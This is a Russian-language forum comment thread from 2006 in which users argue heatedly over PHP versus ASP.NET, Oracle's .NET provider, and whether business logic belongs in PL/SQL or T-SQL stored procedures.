просто английский язык плохо знают. Да и зачем-то специально картинку нарисовали про прослойки как раз. http://www.oracle.com/technology/tech/windows/odpnet/ora.ne t.jpg И даже презентацию паписали с примерами кода как круто их .NET провайдер последней версии поддерживает Oracle 10g Release 2. http://www.oracle.com/technology/tech/dotnet/col/OW%202005% 20ODP.NET%20New%20Features%20in%2010g%20Release%202.zip Вот ведь оказия, они наверное даже представить себе не могут с какими отчаяными проблемами сталкивается господин Desperado!
	Linfan 15 Oct 2006 10:59 PM
chkalofff: Нэт слофф! Езыгом почесать вы канечно СПЕЦ с балшой букфа. И через гуглю мона таких же найти тучную тучу. Но вот подозрителен один факт - подавляющее большинство хостингов с Апачем на nix-овой платформе. Отнюдь не на виндурасской. А посему можно смело сказать, что просто есть процент хостеров-виндузоидов, которые так и неасилили UNIX - тупо "нешмагли". А им есть соотв. пул пользователей, которые жить не могут без RDC и тотала в нем. Что поделаешь - процент изврашенцев есть в любом деле, к счастью всегда небольшой. Кстати, в вашем поиске вываливается салями еще то. И не факт, что все хостинги саппортят желаемую комбинацию. Так шо сакраментальный вопрос про руки вручается вам ;)
	Linfan - тзе бест! 15 Oct 2006 11:49 PM
>Но вот подозрителен один факт - подавляющее большинство ... >А посему можно смело сказать, что просто есть процент хостеров-виндузоидов lol, да и только... А можно так-же смело сказать, что есть процент (даже три) юзеров-линуксоидов, которые так и неасилили windows - тупо "нешмагли"? :)))
	chkalofff 16 Oct 2006 12:12 AM
2 Linfan: >А посему можно смело сказать, что просто есть процент хостеров >-виндузоидов, которые так и неасилили UNIX - тупо "нешмагли". Что-то у вас всетаки логика хромает. Тыкнитесь по тем ссылкам в гугле еще раз. Большинство из них предлагает хостинг как на Linux, так и на Windows. Соотвественно, те кто предлагают Linux, но не предлагают Windows не осилили Windows? Да в сад с такими аргументами!!!
	Linfan 16 Oct 2006 12:50 AM
chkalofff: ох и детсад... на netstat.ru сам сходишь или как? Похоже ты защищаешь профгордость 1.5% страдальцев ;) Я тебе про то, что инструмент не стоит от платформы отделять, а ты все извраты выискиваешь :)) На Винде лучше IIS юзать с дотьнетом (виндовский хостинг не ради статического html'я выбирают) на никсах - Апач с пыхпыхом, питоном, джавой и пр. И че тут непонятного?
	Linfan 16 Oct 2006 12:52 AM
сорри - неувязка в посте. Джава естебственно никаким боком к апачу не относится...
	Zzz... 16 Oct 2006 10:20 AM
Не понятно, чего вы тут спорите. Стоимость платформы и хостинга потеряется в стоимости разработки конкретного приложения. Тут надо считать, сколько стоит сделать и сколько потом будет стоить поддерживать...
	Alexander S. Kharitonov 16 Oct 2006 11:39 AM
2 Yury (маркетинг): > Увы, уважаемый Александр, к сожалению, если проект небольшой, работа сводится к настройке уже готовых известных движков. Значит ли это, что для PHP существует масса готовых решений, упрощающих и ускоряющих процесс разработки там, где для .NET пришлось бы делать работу с нуля?
	Desperado 16 Oct 2006 12:39 PM
2chkalofff >Какой в них заложен такой и генерят с точностью до HTML-тега. я клоню к тому, что продвигаемая MSом модель разработки под .Net - тормоз и не может конкурировать с пхп-шным подходом (руками рисовать весь хтмл юзая всякие темплейт-движки прикрученые сбоку) на здоровой часте задач веба. применять же под .net пхпшный подход (руками генерит хтмл), сводит не нет все достоинства asp.net >Каких таких функций? Я сразу задал вопрос, чего нет ASP.NET лениво мне рассписывать Apache vs IIS, OCI vs ADO, строгая типизация vs weak в плане рисования хтмл (логика понятно у пхп должна уходить в сторед поцедуры где строгая типизация) >Ну дак PHP к Oracle имеет ровно такое же отношение, как и ASP.NET. Давайте тогда сравнивать PHP+MySQL против ASP.NET+Orcale? зачем сравнивать херовое с фиговым, какой смысл сравнивать пароход с поездом в воде ? мне кажется правильней сравнивать лучшие стороны, где оба решения могут показать себя на полную на заданой задаче. МС утверждает что .net и mssql это лучшее решение для веба, вы с этим не согласны ? oracle + .net все же лучше ? ок тогда я сосредоточусь на ODP, если согласны с МС то не морочте мне голову тем что никогда не запускали. короче если мы сравниваем простенькую задачку аля форума - тут будет php+mysql, если в задаче появляется бизнес логика - php+pl/sql >Вот ведь какие проблемы! Только похоже Orcale про них не знает и про праслойки не знает ага а волосы после ODP становятся мягкими и шелковистыми :)
	Chkalofff 16 Oct 2006 1:55 PM
2 Desperado: >я клоню к тому, что продвигаемая MSом модель разработки >под .Net - тормоз и не может конкурировать с пхп-шным подходом >(руками рисовать весь хтмл юзая всякие темплейт-движки >прикрученые сбоку) на здоровой часте задач веба. По-моему вы клоните к тому, что ничего не понимаете в .NET подходе. Контролы - это реюзабельные элементы страниц, которые могут разрабатываться как в визуальном виде (с помощью визуального редактора), так и программироваться в виде, когда весь HTML-код генерится конролом в соответствии с описанным c# или vb.net кодом на котором написан контрол. Т.е. оба подхода действительны. Тоже самое касается и самих вебстраниц. Т.е. вы их можете разрабатывать отдельно от кода в визуальном виде, а код отдельно, или мешать вместе с кодом (подход PHP). Оба подхода действительны, поддерживаются самой платформой. Какой из подходов использовать - зависит от специфики задачи. В следующий раз, плиз изучите подробнее тему, прежде чем делать безопеляционные заявления о превосходстве чего-то над чем-то. >лениво мне рассписывать Apache vs IIS, OCI vs ADO, строгая >типизация vs weak в плане рисования хтмл (логика понятно у пхп >должна уходить в сторед поцедуры где строгая типизация) Лениво так лениво, зачем тогда утверждать что-то, не имея желания или возможности привести аргументы, когда попросят уточнить? Кстати, вот хотел уточнить. Вот вы не первый пост уже используете такой термин как ADO. А какое он отношение имеет к .NET? Ну, правда, я четко понимаю какое отношение это имеет к скажем asp, или windows scripting при работе с базой данных, но убейте, не понимаю причем тут .NET? >зачем сравнивать херовое с фиговым, какой смысл сравнивать >пароход с поездом в воде ? Ну как, есть ведь платформа LAMP, разве нет? Короче, если вы считаете, что LAMP - это дерьмо, то так и скажите. Посмотрим, согласятся ли с вами остальные линуксойды.
	Chkalofff 16 Oct 2006 1:55 PM
2 Desperado: >МС утверждает что .net и mssql это лучшее решение для веба, вы >с этим не согласны ? oracle + .net все же лучше ? ок тогда я >сосредоточусь на ODP, если согласны с МС то не морочте мне >голову тем что никогда не запускали. >короче если мы сравниваем простенькую задачку аля форума - тут >будет php+mysql, если в задаче появляется бизнес логика - >php+pl/sql Мы разрабатывали проекты на ASP/ASP.NET + Orcale. Даже проводили стресс-тестирование, когда Oracle показал недостаточную производительность. Стресс-тестирование позволило выявить тонкие моменты и оптимизировать БД. В результате производительность достигла приемлемых рамок. Так что мой ответ на вопрос, да мы это использовали. Теперь я отвечу по поводу ASP.NET + Orcale. Говоря о том, что "нет не может .net по человечески работать с ораклом, этот ODP (родной ADO к ораклу вообше неработоспособен) тормозит и не поодерживает добрую часть функционала OCI, пхп же юзает прямые вызовы OCI без всяких прослоек." как раз вы показываете, что не работали с ODP.NET. Более того, вам привели ссылки материалы самого оракла о ODP.NET, о том, что он: a) нативный б) работает без всяких прослоек в) поддерживает современный функционал. Да он даже RAC (Real Application Cluster) поддерживает. В Расширениях PHP для Orcale есть встроенная поддержка для RAC? Теперь по поводу MSSQL и Orcale. Я не говорил, что MSSQL - это плохо. Где я такое говорил? Я был не согласен, что ASP.NET и Orcale - не работоспособно, и сейчас сослался на собственный опыт, а ранее привел ссылки на сам Orcale. Вы кроме голословных заявлений ничего не привели. MSSQL разумеется хорошо работает с .NET. А последний, так вообще отлично. Теперь можно создавать .NET классы хранящиеся в БД. На .NET. соответственно теперь можно писать хранимые процедуры, функции и триггеры, что существенно расширяет возможности SQL. Подобной возможности у вас на PHP нет. Далее, по поводу бизнес-логики. А это вы в какой такой книге начитались, что БЛ нужно хранить в базе? Задача БД - это эффективное хранение данных, и язык запросов для этого и соответствует. Возможности же языка по отношению к реализации бизнес-правил достаточно бедны, как бы диалект не расширяли (T-SQL или PL/SQL). Поэтому заявления типа PL/SQL - круто для БЛ - выглядят глупо. Покажите мне хоть одну рекомендацию, где говорится, что best practice - это бизнеслогика на PL/SQL!
	Chkalofff 16 Oct 2006 2:23 PM
2 Desperado: Теперь по поводу возможностей. Вы их хотите сравнить, я так понимаю. Давайте посмотрим сколько на PHP займет следующаяя страница: http://samples.gotdotnet.com/quickstart/aspplus/samples/app s/pagestate/CS/pagestate1.aspx Вот ее исходный код на C#: http://samples.gotdotnet.com/quickstart/util/srcview.aspx?p ath=/quickstart/aspplus/samples/apps/pagestate/pagestate1.sr c&file=CS\PageState1.aspx&font=3 Я сослался сервер с примерами, потому что так проще показать страницу в действии и показать ее исходный код. Я взял именно данную страницу в качестве примера, чтобы продемонстрировать как в .NET легко можно сохранять состояние объектов. Разумеется есть отдельный контрол типа wizard (в котором) данная страница будет еще короче. Но я его не использовал потому что это не важно для данного примера. Это я говорю для того, чтобы если вы мне заходите подобную страницу на PHP показать, чтоже не использовали готовых визардов.
	Desperado 16 Oct 2006 3:30 PM
>Т.е. вы их можете разрабатывать отдельно от кода в визуальном виде, а код отдельно, или мешать вместе с кодом (подход PHP). Оба подхода действительны, поддерживаются самой платформой. Какой из подходов использовать - зависит от специфики задачи. БЛ с хтмл в пхп никто не мешает (разве что студенты, которых на платформе МС никак не меньше), для этого там сотни MVC фреймворков и теплейтных движков, к стате говорят есть даже фремворк слизаный с аспешной евентной модели (prado). >В следующий раз, плиз изучите подробнее тему, прежде чем делать безопеляционные заявления о превосходстве чего-то над чем-то. ну ОК вынужден согласится - можно к паравозу приладить пантоны и тащить по реке, можно в asp.net не юзать его контролы и не принимать его евентную модель. >Ну как, есть ведь платформа LAMP, разве нет? Короче, если вы считаете, что LAMP - это дерьмо, то так и скажите. я считаю неразумным забивать гвозди микроскопом, у mysql лучший на определеных задачах, он лучше оракла, лучше mssql на целом ряде простеньких задач, с этим глупо спорить. точно также глупо на LAMP реализовывать, что-либо со сложной бизнес логикой - ну не предназнаечен скриптовой stateless, weak typed язык php для бизнес логики.
	Chkalofff 16 Oct 2006 3:38 PM
2 Desperado: >БЛ с хтмл в пхп никто не мешает (разве что студенты, которых >на платформе МС никак не меньше), для этого там сотни MVC >фреймворков и теплейтных движков, к стате говорят есть даже >фремворк слизаный с аспешной евентной модели (prado). В том-то и дело, что в PHP для отделения кода от HTML нужно изобретать велосипед - "сотни MVC фреймворков и теплейтных движков". Это говорит о том, что нет унифицированного подхода и как следствие решение, заточенное под один темплейтый движок не будет работать на другом. Реюзабельность кода низкая. Впрочем такава ситуация многих OpenSource проектов, когда на базе какой-то платформы создается куча сопутствующих поделок, мало совместимых между собой.
	Desperado 16 Oct 2006 3:48 PM
а в жава OpenSource spring, struc, JSF и как-то никому в голову не приходит всех сажать за один "правильный", а сопутсвующие поделки как бы крупнейшие в индустрии ... я понимаю что это дико с точки зрения МС - где уже все выбрано, но выбор это не так уж и плохо во многих случаях.
	Chkalofff 16 Oct 2006 4:08 PM
2 Desperado: >а в жава OpenSource spring, struc, JSF Должна быть основа. Некий фундамент. В Java это J2EE. Представляете чтобы было, еслибы бы SUN выпустила 1% от J2EE. Весь бы этот функционал перекачевал в сопутствующие проекты и был бы не соместим между собой. Но в Java есть J2EE - массивный фундамент, реализующий оргомный инструментарий обобщенной платформы. А вот вокруг этого и появляются всякие спринги. Дак вот у Java, такой хороший фундамент есть. У .NET тоже есть (.NET Framework), а вот у PHP он буднее некуда.
	Desperado 16 Oct 2006 4:18 PM
а зачем скриптовому языку предназначиному быстро и удобно генерить хтмл J2EE ? нужна жава есть java bridge (опять же в .net такого нет), можно логика в жава, пхп - хтмл (но проще java в oracle stored procedure или через soap). фудамента который есть в голом пхп по горло хватает для поставленых перед ним задач.
	Linfan 16 Oct 2006 4:28 PM
Chkalofff: Это верно - не раз уже в треде говорили, что пыхпых это не энтерпрайз решения. А пытаться приспособить энтерпайз экскаватор для обработки клумбы - ну глупо ведь :)
	Тютя Матютя 16 Oct 2006 4:34 PM
2Chkalofff "сотни MVC фреймворков и теплейтных движков". Это говорит о том, что нет унифицированного подхода -- Это говорит о том, что пхп это OpenSource и каждый делает так, кам ему удобно. Не то что дот нет, чем МС кормит, то и хаваете, шаг влево, шаг вправо - растрел. заточенное под один темплейтый движок не будет работать на другом. -- Да ты че? Вот удивил. А если я на дот нете буду пользовать какой нить фреймворк или библиотеку стороннего производителя, а потом подключу стандартую либу, все заработает? Впрочем такава ситуация многих OpenSource проектов, когда на базе какой-то платформы создается куча сопутствующих поделок, мало совместимых между собой. -- Про какую совместимость речь то идет, не пойму. Например в джава, есть стандартные интерфесы, есть их десятки реализаций, тут понятно, все обязяно быть совместимо. Но есть люди, которых не устраивают решения от сантехников и они клепают полностью свои поделки, причем клепают тысячами. И частенько, самые удачные поделки оказываются через пару годиков в JDK. Или признаются стандартом дефакто. Что тут плохого не пойму? Яркий пример EJB (entity), до версии 3.0 эта паделка от SUN вызывала только недовольство, придумали самопальную паделку Hibernate, сечас EJB 3.0 это точная копия той самой паделки под названием хибер. И судя по развитию дотнета, все устаявшиеся и зарекомендовавшие себя в Java фреймворки, библиотеки, патерны и т.д. вскоре появляются в дотнете. Так что товарисч пианэр, не надо гнать на OpenSource, это вдохновитель всех идей для MC.
	Desperado 16 Oct 2006 4:57 PM
на счет RAC вы не поняли клиент не обязан знать о том что он поключен к RAC т.е. считай пхп поддерживает RAC ... >Далее, по поводу бизнес-логики. А это вы в какой такой книге начитались, что БЛ нужно хранить в базе? В библии ораклойдов Tom Kyte "Oracle для профессионалов" и прочих его трудах (если вы не в курсе то этот чел претендует на звание главного из гуру по субд oracle), в MSDN где МС объясняет в каких случаях логику стоит держать в субд (как пример там приводится пример TPC-C ) и тонна другой лит-ры. >Поэтому заявления типа PL/SQL - круто для БЛ - выглядят глупо. в данном случае глупо выглядите вы, т.к. даже МС In a physical two-tier implementation with a fat server, business logic and presentation services are deployed from the server database. In this implementation, business logic is generally written as stored procedures and triggers within the database. For example, in the TPC-C benchmarks published for Microsoft SQL Server, the core transaction logic is coded as Transact–SQL stored procedures in the server. Many internally-developed corporate applications also make extensive use of stored procedure logic. Microsoft uses this implementation to handle internal business functions, such as customer information tracking. http://msdn.microsoft.com/library/default.asp?url=/library/ en-us/dnsqlsg/html/msdn_designeff.asp другое дело t-sql сильно недоразвит и на нем тяжело организовать бизнес логику ...
	Desperado 16 Oct 2006 6:04 PM
2Chkalofff и вы увильнули от вопроса, php+oracle мы с чем сравниваем, с asp.net+mssql продавлемую МС как единственно верную связку и mssql2k5 не столь хорош или мне достаточно показать, что ODP не такой уж шелковистый ?
	Отто ФонШвайнен 16 Oct 2006 6:41 PM
Если снова рассмотреть вопрос о "самобезопасности" : В php не все так плохо http://www.hardened-php.net/suhosin/a_feature_list.html
	chkalofff 17 Oct 2006 12:05 AM
2 Desperado: >а зачем скриптовому языку предназначиному быстро и удобно >генерить хтмл J2EE? JSP нужен J2EE (вернее одно часть другого). ASP.NET нужен .NET Framework. Никто не говорит, что PHP нужны подобные возможности _целиком_. Но функциональность обеспевиающая основные web-сценарии необходимы. А что это за основные web-сценарии, это сценарии существующие на большинстве современных сайтов: 1) Концептуальное отделение дизайна от кода. Пусть даже кода обслуживающего презентационный уровень. 2) Управление пользователями. От регистрации, аутентификации, авторизации и до управления системой прав в размере всего сайта. 3) Поддержка возможности концептуального отделения перзентационного кода от кода работы с данными. Т.е. содержать селекты отдельно, кнопки отдельно. Коме того, желательно чтобы также поддерживалось: - Возможности локализации страниц (картинок, стилей, текстов, форматов даты, других ресурсов в зависимости от текущего языка) - Возможность создания резюзабельных компонентов (кирпичеков), которые можно было бы с минимальнми затратами втраивать в сайты. При этом эти кирпичики должны автоматически использовать все вышеописанное (от привязки к пользователем и к данным, до отделения дизайна от кода кирпичика и локализации кирпичика). - Возможность кеширования объектов, частей страниц, страниц для сокращения повторных обращений к источникам данных в тех случаях, когда данные редко меняются. Гибкая политика кеширования. - Гибкая возможность сохранения состояний объектов при перехоже между страницами и различные варианты хранения сессий. Куки, куки-лесс, в т.ч. через querystring, через hiden поля в формах. Все что я перечислил, это лишь сценарии которые используются на современных сайтах, а не чисто на Enterprise системах (это специально для Linfan). Так вот в самой платформе, не смотрая на то, что PHP как раз предназначен для построения сайтов, так вот самой платформой PHP это представленно слабо. Беден он черезвучайно, этот PHP. Как результат у вас есть сотни этих самых движков, каждый из которых реализует часть этих сценариев по своему. Так вот это и есть нищета этой платформы. Хуже этого было бы если например бы PHP даже не предлагала встроеных методов для парсинга querystring, и было бы 100 библиотек для решения этой задачи. Вот так. Основные сценарии построения сайтов должны присутствовать в платформе build-in (или out of the box, как говорят). Программист же должен быть сконцентрирован на решении более высокоуровневых задач, и не думать о возможностях и совместимости тех или иных движков реализующих основные сценарии.
	chkalofff 17 Oct 2006 12:20 AM
2 Тютя Матютя: >Да ты че? Вот удивил. А если я на дот нете буду пользовать >какой нить фреймворк или библиотеку стороннего производителя, а >потом подключу стандартую либу, все заработает? Ну к примеру контрол строннего производителя (даже может быть без исходнях кодов) может пыть помещен на страницу, привязан к данным, привязан к языку (локализации), привязан к дизайну (стилям) сайта. И будет работать как родной. >Про какую совместимость речь то идет, не пойму. >Например в джава, есть стандартные интерфесы, есть их десятки >реализаций, тут понятно, все обязяно быть совместимо. Но есть >люди, которых не устраивают решения от сантехников и они >клепают полностью свои поделки, причем клепают тысячами. И >частенько, самые удачные поделки оказываются через пару годиков >в JDK. Или признаются стандартом дефакто. Что тут плохого не >пойму? Яркий пример EJB (entity), до версии 3.0 эта паделка от >SUN вызывала только недовольство, придумали самопальную паделку >Hibernate, сечас EJB 3.0 это точная копия той самой паделки под >названием хибер. Только приветствую это. JAVA и так многое может. И включение таких инструментариев в новые версии, только улучшают эту платформу. К сожалению PHP такими вещами похвастаться не может. Например в джава, есть стандартные интерфесы, есть их десятки реализаций, тут понятно, все обязяно быть совместимо. Но есть люди, которых не устраивают решения от сантехников и они клепают полностью свои поделки, причем клепают тысячами.
	chkalofff 17 Oct 2006 12:43 AM
2 Desperado: По повобу бизнес-логики. Опущу вашу эмочиональную часть. Далее: >http://msdn.microsoft.com/library/default.asp?url=/library /en- >us/dnsqlsg/html/msdn_designeff.asp Вы хоть дочитали этот документ, который привели в качестве примера? А вы дочитайте. Еще в лохматом 1997 году Майкрософт написал для вас, как нужо реализовывать архитектуру Web-приложений. Вы прочитайте. Раздел называется Internet implementation. Лениво читать, ну хоть картинку посмотрите. http://msdn.microsoft.com/library/en-us/dnsqlsg/html/designe ff05.gif Специально для вас нарисовали. Где находится бизнеслогика? То-то же. На стороне web-сервера. Знаете почему это делаете на стороне БД? Да потому что PHP видимо слаб для того, чтобы разрабатывать БЛ. Что касается ASP.NET, то можно: - Разрабатывать БЛ на .NET примерно как нарисовано на картинке. Т.е. на стороне сервера за пределами БД. - Разрабатывать на .NET на смешивая сторону БД и строну .NET. Благо MSSQL 2005 позваляет втраивать объекты .NET в БД. - И третий вариант, то что предлагали вы. Самый бредовый, хоть и возможный вариант. А теперь внимание, вопрос!!! Вы говорите про T-SQL по отношению к PL/SQL следующее: "другое дело t-sql сильно недоразвит и на нем тяжело организовать бизнес логику". Перечислите пожалуйста каких возможностей не хватает T-SQL, которые есть в PL/SQL, и которые НЕОБХОДИМЫ для написания БЛ. А мы посмотрим насколько вы знаете то о чпм говорите.
	Linfan 17 Oct 2006 12:50 AM
chkalofff: "Куки, куки-лесс, в т.ч. через querystring, через hiden поля в формах." Мосье считает, что пыхпых с этим не дружит? хм... "Управление пользователями" Странно, а все пыхпыховские сайты этого лишены? Или мосье думаеь, что в каждом случае новый лисапед создаетццо? "Концептуальное отделение дизайна от кода." Йо! Вот это открытие Америки! Позвольте вам вопрос задать, а как работают темы на том же Нюке, пхпФьюжине и т.п.? Неужто народ по 10-20 копий сайтов на себе тащит 8-( "Возможности локализации страниц" Гы... А у пхпФьюжина напр. перевод на 15 езыгов, у phpMyAdmin на 103(на каждый язык по 2-3 кодировки)... Наверное неправильно переводят! "Возможность создания резюзабельных компонентов" Модули... Не? Странно - целая индустрия, ПРОДАЮЩАЯ модули под Нюку, ПостНюку и т.п. А мосье вот так вот взял и перечеркнул их всех... ЗА ШО?! Из всего выше сказанного, можно сделать вывод: вам просто не нравится все это по одной причине - оно не такое как в дотьнете и... разнообразное. "Так вот это и есть нищета этой платформы." А вам небось, чтоб все было как в армии - у всех одно и то же: кирзачи, форменка, вафельное полотенце - предел совершенства и единственное валидное мыло - хозяйственное... А на мой взгляд лучше и опять же секюрнее 100 разных вариантов, чем простой совковый выбор "жрать или не жрать". Компонентов под дотнет много, но все они (а среди них уйма глючных и корявых, как мне подсказывают) почему-то весьма за нехилые бабки. Чем-то это пирамиду напоминает "ты мне 100 а потом с трех других лопухов себе по 100 три раза".
	chkalofff 17 Oct 2006 1:17 AM
2 Desperado: Объясняю про RAC. Давным давно уже принято, что лучшей практикой соединения с БД в случае веб приложений является пул коннектов. Тут все просто, если использовать 1 коннект, то клиенты лезут в БД последовательно, что замедляет работу сайта. Если не ограничивать коннекты, то при одновременном заходе на сервер нескольких тысяч пользователей ресурсы сервера закончаться. Поэтому пул коннектов. В ASP.NET пул коннектов поддерживается самой платформой. Я надеюсь, что в PHP есть что-то подобное. Т.е. вам не приходится упралять пулом коннектов вручную. Хотя как всегда у вас наверняка есть 100 движков с пулом коннектов. Так к чему это я. Поддержка RAC в ODP.NET заключается в том, что пул коннектов подстраивает свою работу с серверами в соответствии со стандартыми метриками загруженности серверов. Есть ли что-то побобноее в PHP - не знаю, но сомневаюсь. Или вот такая фича, как нотификация об изменени БД. Вот скажите есть ли какой-то стандартный механизм в PHP для кеширования объектов (частей страниц, массивов данных и т.д.) с зависимостью кеша от объекта БД. Выглядит это так. Скажем у вас на сайте выводится навигационное меню, которое лежит в базе. В стандартном варианте каждый раз когда кто-то заходит на сайт, у вас выполняется селект в БД по которому вытягивается структура меню генерится HTML. Но ежу ясно, что структура меню меняется относительно редко. Скажем в тысячи раз реже, чем заходят люди на сайт. Значит мы постоянно лезем в БД за одними и темиже сайтами. А на странице таких эементов может быть много. Есть соблазн закешировать это. Но как узнать, что в БД изменились данные, чтобы вовремя сбросить кеш. Так вот, в ODP.NET есть втроенная возможность. Причем вы привяжите к тем или иным объектам БД, и как только они изменятся, ваш кеш сбросится автоматически абсолютно прозрачно для вашего приложения. Есть личто-то подобноее в PHP по отношению к ораклу, очень и очень сомневаюсь. Теперь по поводу что я увиливаю. Я абсолютно не увиливаю. я уже сказал, что: 1) ASP.NET c Oracle работает ничем не хуже чем PHP с Oracle 2) ASP.NET c MSSQL - это отличное решение, и у него есть приемущества перед ASP.NET + Oracle
	chkalofff 17 Oct 2006 1:31 AM
2 Linfan: >"Управление пользователями" >Странно, а все пыхпыховские сайты этого лишены? Или мосье >думаеь, что в каждом случае новый лисапед создаетццо? Покажите мне как сдандартным образом (т.е. единым для разных сайтов) создать модель пользователей сайта (создать группы пользователей или роли, делить пользователей атрибутами, выполнить аутонтификацию пользователей, привызать различные чати сайта к ролям и т.д.) Уверен, что PHP никакого стандартного инструментария для этого не предлагает. Макимум чтовы мне можете показать - это бесчисленные движки и CMS, в каждой из которых этот велосипед изобретен поновому и по своему. >Йо! Вот это открытие Америки! Позвольте вам вопрос задать, а >как работают темы на том же Нюке, пхпФьюжине и т.п.? Неужто >народ по 10-20 копий сайтов на себе тащит 8-( Еще раз, для тех, кто в танке. Нюк - это сторонее решение. Что у нас сам PHP предлагает? Вот начал я писать страницу. Одну страницу, нет у меня никакого нюка, не установленного, не настроеного. Нет никикакой другой CMS. Что мне голый PHP предлагает для того чтобы отделить код от графики? У меня по ходу вопрос, вы вообще внимательно читаете, или по диагонали, прежде чем отвечать на комент? Речь идет о встроеных стандартных возможностях платформы, реализующих основные сценарии. >Возможности локализации страниц" >Гы... А у пхпФьюжина напр. перевод на 15 езыгов, у phpMyAdmin > на 103(на каждый язык по 2-3 кодировки)... Наверное >неправильно переводят! Опять частное решение. Что мне платформа предлагает для локализации? >Модули... Не? Странно - целая индустрия, ПРОДАЮЩАЯ модули под >Нюку, ПостНюку и т.п. А мосье вот так вот взял и перечеркнул их >всех... ЗА ШО?! Опять таки модули к частным решениями. Покжите мне модули к PHP, которые потому будут работать во всех нюках и других CMS! >Компонентов под дотнет много, но все они (а среди них уйма >глючных и корявых, как мне подсказывают) Анекдот напомнить, про то как сосед напел кортавый и шепелявый битлз.
	Desperado 17 Oct 2006 1:38 AM
2chkalofff вы похоже так и не поняли, что пхп это язык, все из перечисленого вами делать должен фреймворк и они есть для пхп и их много. многие из них умеют все, что вы перечислили и я подозреваю, что они ВСЕ это умели еще ДО появления .NET :) >Знаете почему это делаете на стороне БД? Да потому что PHP видимо слаб для того, чтобы разрабатывать БЛ. он не слаб, он weak (weakly typed). У вас в начале в $client может лежать (int)ID, а в конце уже (varchar)NAME низя там реализовать БЛ, ну никак низя. в этом его сила :) (хтмл рисовать) Дальше по поводу БЛ - логика в субд просто на порядок будет быстрей чем на .net, гоняние для обработки данных на средний уровень требует тучу лишнего времени и ресурсов. это настолько очевидно, что я даже теряюсь как это можно показать. это очивидно ораклу, это очевидно МС, именно поэтому они запихнули Java и .Net в ядро субд. почитайте msdn, там наверника разжевано почему МС запихнула .Net в субд. на счет недоразвитости t-sql и моем понимании можно начать отсюда: http://zdnet.ru/?ID=614552&Discuss=1 в кратце: в t-sql нет основных элемнтов языка - неймспейсов, все функции и процедуры свалены в одну кучу (т.е. нет аналога пакетам оракла), нет масивов, рекурсия ограничена 32 вызовами, нет отслеживания зависимостей объектов ну и туча по мелочам, см то обсуждение.
	Desperado 17 Oct 2006 2:06 AM
2chkalofff у вас с RAC все перемешалось, RAC это совсем из другой оперы :) на уровне оракла проблему тысяч клиентов можно решать 2-мя способами - можно юзать OCI (ociCreateSession кажется так звалось, пхп не умеет) это пул коннектов который встроен в субд и рулится через OCI, можно запустить в режиме MTS, это по другому распределяется память субд, чтоб можно было ворочить сотни тысяч юзеров. на уровне пхп можно через sqlrelay, а сейчас еще есть стандартный из Apache2. на счет кеширования - это умеет любой темплейтный движек :) они именно для этого восновном и делались. что до нотификаций то подозреваю, что это syntax shugar, если я мимо .NET обновлю базу никто не узнает и кеш не сбросит. во всяком случае в MSSQL этого точно нет (с ораклом сомневаюсь), там только в mssql2k5 появились notification services, до этого эту проблему решали через офигеную задницу.
	chkalofff 17 Oct 2006 2:21 AM
2 Desperado: >вы похоже так и не поняли, что пхп это язык Если вы не заметили, я везде использовал термин платформа. Если вы готовый признать, что PHP - это телега с 5тью разными колесами, то вопрос закрыт. Т.е. что и требовалось доказать. >Дальше по поводу БЛ - логика в субд просто на порядок будет >быстрей чем на .net, гоняние для обработки данных на средний >уровень требует тучу лишнего времени и ресурсов. Не гоняйте ничего лишнего. Кто вас заставляет. Гоняйте только нужное. >это очевидно МС, именно поэтому они запихнули Java и .Net в >ядро субд. почитайте msdn, там наверника разжевано почему МС >запихнула .Net в субд. Потяно зачем запихнули. Вот есть у меня клас Customer, с набором полей, свойств и т.д. Вот я его так и храню в БД. Т.е. колонка в которой прямо таки и хранится мой Customer. А уже где что исполнять, гонять данные или нет, мне решать по ситуации. Главное, что все единообразно. Если хотите настоять на гонянии данных, то для того, чтобы мощь объектного языка, который гораздо больше подходит для объектной модели, и соотвественно для бизнеслогики приблизить к данным. Что нам дает PHP в данном случае?
	chkalofff 17 Oct 2006 2:48 AM
2 Desperado: >в t-sql нет основных элемнтов языка - неймспейсов, все функции >и процедуры свалены в одну кучу (т.е. нет аналога пакетам >оракла) Да что вы говорите! Это вам кто напел? Есть неймспейсы как на уровне объектов БД (таблиц, харнимых процедур и т.д.) Т.е. можно писать: SELECT Name FROM HumanResources.Department; Так и на уровне полей. Т.е. HumanResources.EmployeeDepartmentHistory.EndDate >рекурсия ограничена 32 вызовами Опять мимо. 32767 не хотите? Вам охота так лажаться? Нельзя было проверить факты прежде чем утверждать? По поводу массивов и отслеживания зависимостей объектов по подробнее если раскжите, то с высокой вероятностью и эти иллюзии развею.
	chkalofff 17 Oct 2006 2:50 AM
2 Desperado: >подозреваю, что это syntax shugar, если я мимо .NET обновлю >базу никто не узнает и кеш не сбросит Нет, как угодно обновляйте. Причем работает что с SQL2005, что с Orcale.
	Desperado 17 Oct 2006 10:46 AM
2chkalofff >Если вы не заметили, я везде использовал термин платформа. Если вы готовый признать, что PHP - это телега с 5тью разными колесами, то вопрос закрыт. Т.е. что и требовалось доказать. да нет, не согласен. я вижу что эта телега оказывается эфективней на подавляющем большинстве задач SMB рынка. и при этом дешевле (даже с ораклом) >Вам охота так лажаться? Нельзя было проверить факты прежде чем утверждать? это ... вы уважаемый не вьезжаете даже о чем вам толкуют, вы уверены что способны продолжать спор на счет mssql ? пакет в оракле это неймспейс в который можно объединить процедуры и функции. на уровне пакета можно объявлять курсоры, переменные и т.п. я уже это объяснял в той дискусии (стр.2) вы же как и РТО путаете с понятием схема, который опять же только появился у МС в sql2k5. Recursion, which occurs when a procedure or function calls itself, is a well–known and powerful concept of mathematics and programming. However, it can be dangerous—leading to infinite loops, for example. (That's probably one reason that SQL Server 2000 limits the number of nesting calls or nesting levels to 32; you can use a global variable @@NESTLEVEL to check the nested level of the procedure at runtime.) в mssql2k5 в этом плане ничего не изменилось http://msdn.microsoft.com/library/default.asp?url=/library/ en-us/dnsqlpro03/html/sp03i8.asp массивы - у вас на клиенте масив, как передать в mssql2k5 ? никак, только засеризовав в xml, а на стороне сервера разсеризовав во временную таблицу. отслеживание зависимостей - объекты субд (procedure/function/package/view) имеют стаус valid/invalid и субд отслеживает зависимости между ними. Например удаление таблицы повлечет за собой изменение статуса на «invalid» всех объектов, котрые были связаны с этой таблицой. Это позволяет предотвращать запуск процедур которые выполнятся с ошибкой. Mssql проверяет лишь синтаксис и только во время компиляции, поэтому такая процедура будет запущена и будет работать пока не встетится ошибочная команда, результат такой работы может быть непредсказуем.
	Chkalofff 17 Oct 2006 11:16 AM
